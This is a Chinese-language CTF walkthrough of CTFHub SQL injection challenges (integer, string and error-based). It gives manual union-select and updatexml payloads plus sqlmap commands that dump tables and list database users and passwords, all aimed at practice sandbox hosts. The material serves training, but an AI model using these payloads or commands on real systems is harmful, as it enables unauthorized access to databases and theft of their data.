目录
整数型注入
手工注入
先输入1

接着尝试2,3,2有回显,而3没有回显


同样的,输入非整数的字符也没有回显

根据结果可以判断这是整数型注入,接着就可以爆字段了
1 order by 1,接着尝试爆1 order by 2, 1 order by 3,结果到1 order by 3出现报错,由此可以判断,表格中有两个字段

爆数据库

-1 union select 1,database()

为什么要将1设置为-1呢?
因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容
爆破表名
limit 0,1(0,1从数据库地一个开始只拿一个字段)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

得到该数据库的所有字段
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

爆破字段名
-1 union select 1,group_concat(flag) from sqli.flag

sqlmap注入
sqlmap注入步骤:
查询sqlmap是否存在注入命令:sqlmap.py -u url/?id=1
查询当前用户下的所有数据库:sqlmap.py -u url/?id=1 --dbs
获取数据库的表名:sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名:sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容:sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户:sqlmap.py -u url/?id=1 --users
查询数据库的所有密码:sqlmap.py -u url/?id=1 --passwords
查询数据库名称:sqlmap.py -u url/?id=1 --current-db
在Kali Linux上运行sqlmap不需要后面的.py直接sqlmap就行了
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1

发现id might be vulnerable 说明 存在注入,执行完成发现爆出了很多信息
查询当前用户下的所有数据库
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 --dbs

获取数据库的表名
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
获取表中的字段名
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

获取字段的内容
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

字符型注入
手工注入
先输入一个1

当输入1 and 1=1 得到的结果却有'

那就输入1' ,发现报错没有回显,接着输入1' and 1=1

发现后面有一个分号,总体一看是多着一个分号,那就用#将其注释掉


成功找到注入点,但是sql语句后面要加#注释掉后面会报错的内容
爆数据库
-1' union select 1,database() #(这里的-1和整数型注入的情况一样)

爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

查询flag
-1' union select 1,group_concat(flag) from sqli.flag #

sqlmap注入
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1

查询数据库
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 --dbs

获取数据库的表名
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 --tables

获取表中的字段名
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

获取字段的内容
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

报错注入
手工注入
先输入一个1

尝试输入1',出现报错

使用的函数是updatemxl(1,2,3)
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
特殊符号我们选择 ~ 0x7e
爆数据库名
1 and updatexml(1,concat(0x7e,database()),3)

爆破表名
1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

获取字段名
1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

获取字段内容
1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

但是没有将flag的所有字符输出出来,所以现在运用函数将flag完整的输出出来
1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),1,16)),3)

1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))

sqlmap注入
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1

爆数据库名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1 --dbs

获取数据库的表名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

获取表中的字段名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

获取字段的内容
